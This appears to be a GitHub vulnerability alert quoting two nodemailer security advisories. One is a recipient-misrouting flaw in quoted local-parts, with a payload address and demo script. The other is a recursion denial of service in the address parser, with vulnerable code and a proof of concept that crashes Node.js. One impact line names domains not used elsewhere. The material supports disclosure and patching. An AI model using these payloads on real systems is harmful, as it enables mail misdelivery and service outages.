### GitHub Vulnerability Alerts

####
[CVE-2025-13033](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87)

The email parsing library incorrectly handles quoted local-parts
containing @​. This leads to misrouting of email recipients, where
the parser extracts and routes to an unintended domain instead of the
RFC-compliant target.

Payload: `"xclow3n@gmail.com x"@​internal.domain`
Using the following code to send mail
```
const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: "",
    pass: "",
  },
});

let mailOptions = {
  from: '"Test Sender" <your_email@gmail.com>', 
  to: "\"xclow3n@gmail.com x\"@&#8203;internal.domain",
  subject: "Hello from Nodemailer",
  text: "This is a test email sent using Gmail SMTP and Nodemailer!",
};

transporter.sendMail(mailOptions, (error, info) => {
  if (error) {
    return console.log("Error: ", error);
  }
  console.log("Message sent: %s", info.messageId);

});

(async () => {
  const parser = await import("@&#8203;sparser/email-address-parser");
  const { EmailAddress, ParsingOptions } = parser.default;
  const parsed = EmailAddress.parse(mailOptions.to /*, new ParsingOptions(true) */);

  if (!parsed) {
    console.error("Invalid email address:", mailOptions.to);
    return;
  }

  console.log("Parsed email:", {
    address: `${parsed.localPart}@&#8203;${parsed.domain}`,
    local: parsed.localPart,
    domain: parsed.domain,
  });
})();
```

Running the script and seeing how this mail is parsed according to RFC

```
Parsed email: {
  address: '"xclow3n@gmail.com x"@&#8203;internal.domain',
  local: '"xclow3n@gmail.com x"',
  domain: 'internal.domain'
}
```

But the email is sent to `xclow3n@gmail.com`

/>

### Impact:

- Misdelivery / Data leakage: Email is sent to psres.net instead of
test.com.

- Filter evasion: Logs and anti-spam systems may be bypassed by hiding
recipients inside quoted local-parts.

-    Potential compliance issue: Violates RFC 5321/5322 parsing rules.

- Domain based access control bypass in downstream applications using
your library to send mails

### Recommendations

-    Fix parser to correctly treat quoted local-parts per RFC 5321/5322.

- Add strict validation rejecting local-parts containing embedded
@&#8203; unless fully compliant with quoting.

### Summary
A DoS can occur that immediately halts the system due to the use of an
unsafe function.

### Details
According to **RFC 5322**, nested group structures (a group inside
another group) are not allowed. Therefore, in
lib/addressparser/index.js, the email address parser performs flattening
when nested groups appear, since such input is likely to be abnormal.
(If the address is valid, it is added as-is.) In other words, the parser
flattens all nested groups and inserts them into the final group list.
However, the code implemented for this flattening process can be
exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to
separate members within a group.
At the following location in lib/addressparser/index.js:


https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the
email address parser attempts to process the following kind of malicious
address header:

```g0: g1: g2: g3: ... gN: victim@example.com;```

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern
`addressparser → _handleAddress → addressparser → ...`
for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:
```js
if (isGroup) {
    ...
    if (data.group.length) {
let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}
```
`data.group` is expected to contain members separated by commas, but in the attacker’s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

### PoC

```
const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);
```
As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

### Impact
The attacker can achieve the following:

1. Force an immediate crash of any server/service that uses Nodemailer
2. Kill the backend process with a single web request
3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”
